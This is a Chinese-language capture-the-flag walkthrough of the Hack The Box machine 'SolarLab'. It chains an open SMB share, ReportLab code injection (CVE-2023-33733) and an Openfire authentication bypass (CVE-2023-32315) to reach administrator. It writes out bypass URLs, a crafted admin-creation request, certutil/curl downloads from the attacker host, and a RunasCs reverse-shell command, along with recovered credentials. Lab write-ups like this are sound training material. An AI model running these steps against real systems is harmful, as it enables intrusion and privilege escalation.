SMB共享文件获取敏感信息、Python Reportlab 代码注入漏洞、Openfire身份认证绕过漏洞
SolarLab
信息搜集
nmap扫描端口
1 | nmap -sV -v 10.10.11.16 |
扫描结果如下
1 | PORT STATE SERVICE VERSION |
观察到445端口开放存在Microsoft-DS服务,用smb查看一下
1 | smbclient -L 10.10.11.16 |
用Documents登录一下
1 | smbclient \\\\10.10.11.16\\Documents |
我们注意到有个xlsx表格文件,使用get命令下载下来
打开看看发现有用户信息,应该能利用登录
访问80端口发现跳转域名,添加到hosts文件即可
不过在扫描子域名以及目录后没有收获,尝试重新使用nmap扫描全部端口
1 | PORT STATE SERVICE VERSION |
还存在6791端口,访问发现跳转直接添加hosts文件即可
回到刚刚得到的用户信息,初步测试发现只有用户名为AlexanderK
和ClaudiaS
存在,并且使用密码登陆不成功
但是我们注意到表格左上方有三个用户,其中Blake
引起我们注意。并且用户登录的用户名的尾部是大写字母,我们尝试对其爆破出用户Blake
的登录username
成功登录
大概翻了一下是和生成pdf文件有关,搜索一下ReportHub
得知reportlab是一个用于生成PDF和图形的Python库,并且存在Python Reportlab 代码注入漏洞(CVE-2023-33733)
github上有写好的poc 脚本链接
1 | <para> |
修改一下脚本中执行的命令为反弹shell,测试发现是windows系统,用在线网站生成powershell版本的shell 网站链接
随便选个request请求,抓包添加payload到training_request
参数
成功反弹shell
在C:\Users\blake\Desktop
找到user的flag
大概翻了一下没有什么可以利用的,我们查看下连接的端口情况
1 | netstat -ano |
与常见端口漏洞利用对比,发现存在9090端口
我们利用chisel进行端口转发,把9090端口转发到我们本机
(注意这里传的是windows版本的chisel,并且要用curl不知道wget为什么不行)
在本地开启http服务,用curl去传
1 | curl http://10.10.14.88/chisel.exe -o chisel.exe |
进行隧道搭建
1 | 本机:./chisel server -p 6150 --reverse |
访问127.0.0.1:9090
,发现是版本为4.7.4的openfire
去阿里云漏洞库搜一下,找到Openfire身份认证绕过漏洞(CVE-2023-32315)
我们验证一下
1 | http://127.0.0.1:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp |
成功访问日志
我们思路就是未授权创建管理员用户 参考文章
首先获取JSESSIONID
和csrf
1 | http://127.0.0.1:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp |
使用获取到JSESSIONID
和csrf
创建用户re1v1ve/rev1ve
1 | GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=SM0rG58cmPWkkiR&username=rev1ve&name=&email=&password=rev1ve&passwordConfirm=admin123&isadmin=on&create=Create+User HTTP/1.1 |
不过抛出异常了,还可以用github上的工具创建
1 | cd CVE-2023-32315-Openfire-Bypass/scan_all |
成功登录
上传插件 插件链接
在server => server settings
功能处发现发现shell Plugins
按照上传插件的描述pass 123
用密码123登录,找到命令执行界面
还是用powershell去弹shell
在C:\Program Files\Openfire\embedded-db
发现openfire.script
文件
查看一下,发现插入的和admin有关数据
1 | INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0') |
再看下对应表的键名
1 | CREATE MEMORY TABLE PUBLIC.OFUSER(USERNAME VARCHAR(64) NOT NULL,STOREDKEY VARCHAR(32),SERVERKEY VARCHAR(32),SALT VARCHAR(32),ITERATIONS INTEGER,PLAINPASSWORD VARCHAR(32),ENCRYPTEDPASSWORD VARCHAR(255),NAME VARCHAR(100),EMAIL VARCHAR(100),CREATIONDATE VARCHAR(15) NOT NULL,MODIFICATIONDATE VARCHAR(15) NOT NULL,CONSTRAINT OFUSER_PK PRIMARY KEY(USERNAME)) |
发现第7列对应的键值可能是凭证之类的,用github上的openfire工具后台管理密码解密 工具链接
出现报错缺少passwordKey,往下翻翻找到
跑出来密码后,那么就可以切换administrator用户
上传一下RunasCs用来用户切换
1 | certutil -urlcache -split -f http://10.10.14.88/RunasCs.exe |
用powershell弹到本地1234端口
1 | ./RunasCs.exe administrator ThisPasswordShouldDo!@ powershell.exe -r 10.10.14.88:1234 |
成功切换administrator用户拿到root的flag